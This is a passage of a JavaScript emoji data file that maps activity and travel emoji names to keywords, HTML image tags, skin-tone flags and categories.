    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd3a" src="1f93a.png"/>',
    fitzpatrick_scale: false,
    category: "activity"
  },
  women_wrestling: {
    keywords: [ "sports", "wrestlers" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd3c\u200d\u2640\ufe0f" src="1f93c-200d-2640-fe0f.png"/>',
    fitzpatrick_scale: false,
    category: "activity"
  },
  men_wrestling: {
    keywords: [ "sports", "wrestlers" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd3c\u200d\u2642\ufe0f" src="1f93c-200d-2642-fe0f.png"/>',
    fitzpatrick_scale: false,
    category: "activity"
  },
  woman_cartwheeling: {
    keywords: [ "gymnastics" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd38\u200d\u2640\ufe0f" src="1f938-200d-2640-fe0f.png"/>',
    fitzpatrick_scale: true,
    category: "activity"
  },
  man_cartwheeling: {
    keywords: [ "gymnastics" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd38\u200d\u2642\ufe0f" src="1f938-200d-2642-fe0f.png"/>',
    fitzpatrick_scale: true,
    category: "activity"
  },
  woman_playing_handball: {
    keywords: [ "sports" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd3e\u200d\u2640\ufe0f" src="1f93e-200d-2640-fe0f.png"/>',
    fitzpatrick_scale: true,
    category: "activity"
  },
  man_playing_handball: {
    keywords: [ "sports" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd3e\u200d\u2642\ufe0f" src="1f93e-200d-2642-fe0f.png"/>',
    fitzpatrick_scale: true,
    category: "activity"
  },
  ice_skate: {
    keywords: [ "sports" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u26f8" src="26f8.png"/>',
    fitzpatrick_scale: false,
    category: "activity"
  },
  curling_stone: {
    keywords: [ "sports" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd4c" src="1f94c.png"/>',
    fitzpatrick_scale: false,
    category: "activity"
  },
  skateboard: {
    keywords: [ "board" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udef9" src="1f6f9.png"/>',
    fitzpatrick_scale: false,
    category: "activity"
  },
  sled: {
    keywords: [ "sleigh", "luge", "toboggan" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udef7" src="1f6f7.png"/>',
    fitzpatrick_scale: false,
    category: "activity"
  },
  bow_and_arrow: {
    keywords: [ "sports" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udff9" src="1f3f9.png"/>',
    fitzpatrick_scale: false,
    category: "activity"
  },
  fishing_pole_and_fish: {
    keywords: [ "food", "hobby", "summer" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfa3" src="1f3a3.png"/>',
    fitzpatrick_scale: false,
    category: "activity"
  },
  boxing_glove: {
    keywords: [ "sports", "fighting" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd4a" src="1f94a.png"/>',
    fitzpatrick_scale: false,
    category: "activity"
  },
  martial_arts_uniform: {
    keywords: [ "judo", "karate", "taekwondo" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd4b" src="1f94b.png"/>',
    fitzpatrick_scale: false,
    category: "activity"
  },
  rowing_woman: {
    keywords: [ "sports", "hobby", "water", "ship", "woman", "female" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udea3\u200d\u2640\ufe0f" src="1f6a3-200d-2640-fe0f.png"/>',
    fitzpatrick_scale: true,
    category: "activity"
  },
  rowing_man: {
    keywords: [ "sports", "hobby", "water", "ship" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udea3" src="1f6a3.png"/>',
    fitzpatrick_scale: true,
    category: "activity"
  },
  climbing_woman: {
    keywords: [ "sports", "hobby", "woman", "female", "rock" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddd7\u200d\u2640\ufe0f" src="1f9d7-200d-2640-fe0f.png"/>',
    fitzpatrick_scale: true,
    category: "activity"
  },
  climbing_man: {
    keywords: [ "sports", "hobby", "man", "male", "rock" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddd7\u200d\u2642\ufe0f" src="1f9d7-200d-2642-fe0f.png"/>',
    fitzpatrick_scale: true,
    category: "activity"
  },
  swimming_woman: {
    keywords: [ "sports", "exercise", "human", "athlete", "water", "summer", "woman", "female" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfca\u200d\u2640\ufe0f" src="1f3ca-200d-2640-fe0f.png"/>',
    fitzpatrick_scale: true,
    category: "activity"
  },
  swimming_man: {
    keywords: [ "sports", "exercise", "human", "athlete", "water", "summer" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfca" src="1f3ca.png"/>',
    fitzpatrick_scale: true,
    category: "activity"
  },
  woman_playing_water_polo: {
    keywords: [ "sports", "pool" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd3d\u200d\u2640\ufe0f" src="1f93d-200d-2640-fe0f.png"/>',
    fitzpatrick_scale: true,
    category: "activity"
  },
  man_playing_water_polo: {
    keywords: [ "sports", "pool" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd3d\u200d\u2642\ufe0f" src="1f93d-200d-2642-fe0f.png"/>',
    fitzpatrick_scale: true,
    category: "activity"
  },
  woman_in_lotus_position: {
    keywords: [ "woman", "female", "meditation", "yoga", "serenity", "zen", "mindfulness" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddd8\u200d\u2640\ufe0f" src="1f9d8-200d-2640-fe0f.png"/>',
    fitzpatrick_scale: true,
    category: "activity"
  },
  man_in_lotus_position: {
    keywords: [ "man", "male", "meditation", "yoga", "serenity", "zen", "mindfulness" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddd8\u200d\u2642\ufe0f" src="1f9d8-200d-2642-fe0f.png"/>',
    fitzpatrick_scale: true,
    category: "activity"
  },
  surfing_woman: {
    keywords: [ "sports", "ocean", "sea", "summer", "beach", "woman", "female" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfc4\u200d\u2640\ufe0f" src="1f3c4-200d-2640-fe0f.png"/>',
    fitzpatrick_scale: true,
    category: "activity"
  },
  surfing_man: {
    keywords: [ "sports", "ocean", "sea", "summer", "beach" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfc4" src="1f3c4.png"/>',
    fitzpatrick_scale: true,
    category: "activity"
  },
  bath: {
    keywords: [ "clean", "shower", "bathroom" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udec0" src="1f6c0.png"/>',
    fitzpatrick_scale: true,
    category: "activity"
  },
  basketball_woman: {
    keywords: [ "sports", "human", "woman", "female" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u26f9\ufe0f\u200d\u2640\ufe0f" src="26f9-fe0f-200d-2640-fe0f.png"/>',
    fitzpatrick_scale: true,
    category: "activity"
  },
  basketball_man: {
    keywords: [ "sports", "human" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u26f9" src="26f9.png"/>',
    fitzpatrick_scale: true,
    category: "activity"
  },
  weight_lifting_woman: {
    keywords: [ "sports", "training", "exercise", "woman", "female" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfcb\ufe0f\u200d\u2640\ufe0f" src="1f3cb-fe0f-200d-2640-fe0f.png"/>',
    fitzpatrick_scale: true,
    category: "activity"
  },
  weight_lifting_man: {
    keywords: [ "sports", "training", "exercise" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfcb" src="1f3cb.png"/>',
    fitzpatrick_scale: true,
    category: "activity"
  },
  biking_woman: {
    keywords: [ "sports", "bike", "exercise", "hipster", "woman", "female" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udeb4\u200d\u2640\ufe0f" src="1f6b4-200d-2640-fe0f.png"/>',
    fitzpatrick_scale: true,
    category: "activity"
  },
  biking_man: {
    keywords: [ "sports", "bike", "exercise", "hipster" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udeb4" src="1f6b4.png"/>',
    fitzpatrick_scale: true,
    category: "activity"
  },
  mountain_biking_woman: {
    keywords: [ "transportation", "sports", "human", "race", "bike", "woman", "female" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udeb5\u200d\u2640\ufe0f" src="1f6b5-200d-2640-fe0f.png"/>',
    fitzpatrick_scale: true,
    category: "activity"
  },
  mountain_biking_man: {
    keywords: [ "transportation", "sports", "human", "race", "bike" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udeb5" src="1f6b5.png"/>',
    fitzpatrick_scale: true,
    category: "activity"
  },
  horse_racing: {
    keywords: [ "animal", "betting", "competition", "gambling", "luck" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfc7" src="1f3c7.png"/>',
    fitzpatrick_scale: true,
    category: "activity"
  },
  business_suit_levitating: {
    keywords: [ "suit", "business", "levitate", "hover", "jump" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd74" src="1f574.png"/>',
    fitzpatrick_scale: true,
    category: "activity"
  },
  trophy: {
    keywords: [ "win", "award", "contest", "place", "ftw", "ceremony" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfc6" src="1f3c6.png"/>',
    fitzpatrick_scale: false,
    category: "activity"
  },
  running_shirt_with_sash: {
    keywords: [ "play", "pageant" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfbd" src="1f3bd.png"/>',
    fitzpatrick_scale: false,
    category: "activity"
  },
  medal_sports: {
    keywords: [ "award", "winning" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfc5" src="1f3c5.png"/>',
    fitzpatrick_scale: false,
    category: "activity"
  },
  medal_military: {
    keywords: [ "award", "winning", "army" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf96" src="1f396.png"/>',
    fitzpatrick_scale: false,
    category: "activity"
  },
  "1st_place_medal": {
    keywords: [ "award", "winning", "first" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd47" src="1f947.png"/>',
    fitzpatrick_scale: false,
    category: "activity"
  },
  "2nd_place_medal": {
    keywords: [ "award", "second" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd48" src="1f948.png"/>',
    fitzpatrick_scale: false,
    category: "activity"
  },
  "3rd_place_medal": {
    keywords: [ "award", "third" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd49" src="1f949.png"/>',
    fitzpatrick_scale: false,
    category: "activity"
  },
  reminder_ribbon: {
    keywords: [ "sports", "cause", "support", "awareness" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf97" src="1f397.png"/>',
    fitzpatrick_scale: false,
    category: "activity"
  },
  rosette: {
    keywords: [ "flower", "decoration", "military" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udff5" src="1f3f5.png"/>',
    fitzpatrick_scale: false,
    category: "activity"
  },
  ticket: {
    keywords: [ "event", "concert", "pass" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfab" src="1f3ab.png"/>',
    fitzpatrick_scale: false,
    category: "activity"
  },
  tickets: {
    keywords: [ "sports", "concert", "entrance" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf9f" src="1f39f.png"/>',
    fitzpatrick_scale: false,
    category: "activity"
  },
  performing_arts: {
    keywords: [ "acting", "theater", "drama" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfad" src="1f3ad.png"/>',
    fitzpatrick_scale: false,
    category: "activity"
  },
  art: {
    keywords: [ "design", "paint", "draw", "colors" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfa8" src="1f3a8.png"/>',
    fitzpatrick_scale: false,
    category: "activity"
  },
  circus_tent: {
    keywords: [ "festival", "carnival", "party" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfaa" src="1f3aa.png"/>',
    fitzpatrick_scale: false,
    category: "activity"
  },
  woman_juggling: {
    keywords: [ "juggle", "balance", "skill", "multitask" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd39\u200d\u2640\ufe0f" src="1f939-200d-2640-fe0f.png"/>',
    fitzpatrick_scale: true,
    category: "activity"
  },
  man_juggling: {
    keywords: [ "juggle", "balance", "skill", "multitask" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd39\u200d\u2642\ufe0f" src="1f939-200d-2642-fe0f.png"/>',
    fitzpatrick_scale: true,
    category: "activity"
  },
  microphone: {
    keywords: [ "sound", "music", "PA", "sing", "talkshow" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfa4" src="1f3a4.png"/>',
    fitzpatrick_scale: false,
    category: "activity"
  },
  headphones: {
    keywords: [ "music", "score", "gadgets" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfa7" src="1f3a7.png"/>',
    fitzpatrick_scale: false,
    category: "activity"
  },
  musical_score: {
    keywords: [ "treble", "clef", "compose" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfbc" src="1f3bc.png"/>',
    fitzpatrick_scale: false,
    category: "activity"
  },
  musical_keyboard: {
    keywords: [ "piano", "instrument", "compose" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfb9" src="1f3b9.png"/>',
    fitzpatrick_scale: false,
    category: "activity"
  },
  drum: {
    keywords: [ "music", "instrument", "drumsticks", "snare" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd41" src="1f941.png"/>',
    fitzpatrick_scale: false,
    category: "activity"
  },
  saxophone: {
    keywords: [ "music", "instrument", "jazz", "blues" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfb7" src="1f3b7.png"/>',
    fitzpatrick_scale: false,
    category: "activity"
  },
  trumpet: {
    keywords: [ "music", "brass" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfba" src="1f3ba.png"/>',
    fitzpatrick_scale: false,
    category: "activity"
  },
  guitar: {
    keywords: [ "music", "instrument" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfb8" src="1f3b8.png"/>',
    fitzpatrick_scale: false,
    category: "activity"
  },
  violin: {
    keywords: [ "music", "instrument", "orchestra", "symphony" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfbb" src="1f3bb.png"/>',
    fitzpatrick_scale: false,
    category: "activity"
  },
  clapper: {
    keywords: [ "movie", "film", "record" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfac" src="1f3ac.png"/>',
    fitzpatrick_scale: false,
    category: "activity"
  },
  video_game: {
    keywords: [ "play", "console", "PS4", "controller" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfae" src="1f3ae.png"/>',
    fitzpatrick_scale: false,
    category: "activity"
  },
  space_invader: {
    keywords: [ "game", "arcade", "play" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc7e" src="1f47e.png"/>',
    fitzpatrick_scale: false,
    category: "activity"
  },
  dart: {
    keywords: [ "game", "play", "bar", "target", "bullseye" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfaf" src="1f3af.png"/>',
    fitzpatrick_scale: false,
    category: "activity"
  },
  game_die: {
    keywords: [ "dice", "random", "tabletop", "play", "luck" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfb2" src="1f3b2.png"/>',
    fitzpatrick_scale: false,
    category: "activity"
  },
  chess_pawn: {
    keywords: [ "expendable" ],
    char: "\u265f",
    fitzpatrick_scale: false,
    category: "activity"
  },
  slot_machine: {
    keywords: [ "bet", "gamble", "vegas", "fruit machine", "luck", "casino" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfb0" src="1f3b0.png"/>',
    fitzpatrick_scale: false,
    category: "activity"
  },
  jigsaw: {
    keywords: [ "interlocking", "puzzle", "piece" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udde9" src="1f9e9.png"/>',
    fitzpatrick_scale: false,
    category: "activity"
  },
  bowling: {
    keywords: [ "sports", "fun", "play" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfb3" src="1f3b3.png"/>',
    fitzpatrick_scale: false,
    category: "activity"
  },
  red_car: {
    keywords: [ "red", "transportation", "vehicle" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude97" src="1f697.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  taxi: {
    keywords: [ "uber", "vehicle", "cars", "transportation" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude95" src="1f695.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  blue_car: {
    keywords: [ "transportation", "vehicle" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude99" src="1f699.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  bus: {
    keywords: [ "car", "vehicle", "transportation" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude8c" src="1f68c.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  trolleybus: {
    keywords: [ "bart", "transportation", "vehicle" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude8e" src="1f68e.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  racing_car: {
    keywords: [ "sports", "race", "fast", "formula", "f1" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfce" src="1f3ce.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  police_car: {
    keywords: [ "vehicle", "cars", "transportation", "law", "legal", "enforcement" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude93" src="1f693.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  ambulance: {
    keywords: [ "health", "911", "hospital" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude91" src="1f691.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  fire_engine: {
    keywords: [ "transportation", "cars", "vehicle" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude92" src="1f692.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  minibus: {
    keywords: [ "vehicle", "car", "transportation" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude90" src="1f690.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  truck: {
    keywords: [ "cars", "transportation" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude9a" src="1f69a.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  articulated_lorry: {
    keywords: [ "vehicle", "cars", "transportation", "express" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude9b" src="1f69b.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  tractor: {
    keywords: [ "vehicle", "car", "farming", "agriculture" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude9c" src="1f69c.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  kick_scooter: {
    keywords: [ "vehicle", "kick", "razor" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udef4" src="1f6f4.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  motorcycle: {
    keywords: [ "race", "sports", "fast" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfcd" src="1f3cd.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  bike: {
    keywords: [ "sports", "bicycle", "exercise", "hipster" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udeb2" src="1f6b2.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  motor_scooter: {
    keywords: [ "vehicle", "vespa", "sasha" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udef5" src="1f6f5.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  rotating_light: {
    keywords: [ "police", "ambulance", "911", "emergency", "alert", "error", "pinged", "law", "legal" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udea8" src="1f6a8.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  oncoming_police_car: {
    keywords: [ "vehicle", "law", "legal", "enforcement", "911" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude94" src="1f694.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  oncoming_bus: {
    keywords: [ "vehicle", "transportation" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude8d" src="1f68d.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  oncoming_automobile: {
    keywords: [ "car", "vehicle", "transportation" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude98" src="1f698.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  oncoming_taxi: {
    keywords: [ "vehicle", "cars", "uber" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude96" src="1f696.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  aerial_tramway: {
    keywords: [ "transportation", "vehicle", "ski" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udea1" src="1f6a1.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  mountain_cableway: {
    keywords: [ "transportation", "vehicle", "ski" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udea0" src="1f6a0.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  suspension_railway: {
    keywords: [ "vehicle", "transportation" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude9f" src="1f69f.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  railway_car: {
    keywords: [ "transportation", "vehicle" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude83" src="1f683.png"/>',
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  train: {
    keywords: [ "transportation", "vehicle", "carriage", "public", "travel" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude8b" src="1f68b.png"/>',
    fitzpatrick_scale: false,
